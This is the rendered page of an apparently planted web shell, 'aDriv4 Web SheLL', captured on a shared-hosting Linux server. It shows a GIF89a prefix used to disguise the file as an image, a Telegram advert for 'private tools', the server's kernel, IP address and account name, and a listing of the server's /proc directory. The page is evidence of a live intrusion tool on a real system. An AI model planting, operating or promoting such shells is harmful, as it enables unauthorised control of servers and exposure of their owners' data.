GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium76.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.213.255.108
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-25 10:10:05
.. dir - root/root 0755 2025-08-05 07:47:27
2549114 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:25
2615209 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:25
2645776 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:25
2746607 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:25
2932298 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:24
2933332 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:24
2934153 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:24
2935010 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:16:24
2943744 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:18:54
2944351 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:19:01
2945132 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:19:19
2945214 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:19:22
2945267 dir - ingaswxa/ingaswxa 0555 2025-11-02 04:19:24
acpi dir - root/root 0555 2025-05-25 02:10:09
bus dir - root/root 0555 2025-05-25 02:10:20
driver dir - root/root 0555 2025-11-02 04:19:29
fs dir - root/root 0555 2025-05-25 02:10:20
irq dir - root/root 0555 2025-05-25 02:10:20
kcare dir - root/root 0555 2025-11-02 04:19:29
lve dir - root/root 0555 2025-11-02 04:19:21
net link - ingaswxa/ingaswxa 0555 2025-11-02 04:19:29
scsi dir - root/root 0555 2025-05-25 02:10:20
self link - ingaswxa/ingaswxa 0555 2025-11-02 04:16:24
sys dir - root/root 0555 2025-05-25 10:10:07
sysvipc dir - root/root 0555 2025-11-02 04:19:29
thread-self link - ingaswxa/ingaswxa 0555 2025-11-02 04:19:22
tty dir - root/root 0555 2025-11-02 04:19:29
buddyinfo 0 B root/root 0444 2025-11-02 04:19:29
cgroups 0 B root/root 0444 2025-11-02 04:19:29
cmdline text/plain 0 B root/root 0444 2025-11-02 04:19:27
consoles 0 B root/root 0444 2025-11-02 04:19:29
cpuinfo text/plain 0 B root/root 0444 2025-11-02 04:19:21
crypto 0 B root/root 0444 2025-11-02 04:19:29
devices 0 B root/root 0444 2025-11-02 04:19:29
diskstats 0 B root/root 0444 2025-11-02 04:19:28
dma 0 B root/root 0444 2025-11-02 04:19:29
execdomains 0 B root/root 0444 2025-11-02 04:19:29
fb 0 B root/root 0444 2025-11-02 04:19:29
filesystems text/plain 0 B root/root 0444 2025-11-02 04:19:20
interrupts 0 B root/root 0444 2025-11-02 04:19:29
iomem 0 B root/root 0444 2025-11-02 04:19:29
ioports 0 B root/root 0444 2025-11-02 04:19:29
kallsyms 0 B root/root 0444 2025-05-25 02:10:20
kcore 128 TB root/root 0400 2025-05-25 02:10:09
key-users 0 B root/root 0444 2025-11-02 04:19:29
keys 0 B root/root 0444 2025-11-02 04:19:29
kmsg 0 B root/root 0400 2025-11-02 04:19:29
kpagecgroup 0 B root/root 0400 2025-11-02 04:19:29
kpagecount 0 B root/root 0400 2025-11-02 04:19:29
kpageflags 0 B root/root 0400 2025-11-02 04:19:29
loadavg text/plain 0 B root/root 0444 2025-11-02 04:19:24
locks 0 B root/root 0444 2025-11-02 04:19:29
mdstat 0 B root/root 0444 2025-11-02 04:19:29
meminfo text/plain 0 B root/root 0444 2025-11-02 04:19:21
misc 0 B root/root 0444 2025-11-02 04:19:29
modules 0 B root/root 0444 2025-11-02 04:19:29
mounts text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 04:19:29
mtrr 0 B root/root 0644 2025-05-25 02:10:20
pagetypeinfo 0 B root/root 0400 2025-11-02 04:19:29
partitions 0 B root/root 0444 2025-11-02 04:19:29
sched_debug 0 B root/root 0444 2025-11-02 04:19:29
schedstat 0 B root/root 0444 2025-11-02 04:19:29
slabinfo 0 B root/root 0400 2025-11-02 04:19:29
softirqs 0 B root/root 0444 2025-11-02 04:19:29
stat text/plain 0 B root/root 0444 2025-11-02 04:19:10
swaps 0 B root/root 0444 2025-05-25 10:10:07
sysrq-trigger 0 B root/root 0200 2025-05-25 02:10:20
timer_list 0 B root/root 0400 2025-11-02 04:19:29
uptime text/plain 0 B root/root 0444 2025-11-02 04:19:29
version text/plain 0 B root/root 0444 2025-11-02 04:19:29
vmallocinfo 0 B root/root 0400 2025-11-02 04:19:29
vmstat 0 B root/root 0444 2025-11-02 04:19:28
zoneinfo 0 B root/root 0444 2025-11-02 04:19:29
© aDriv4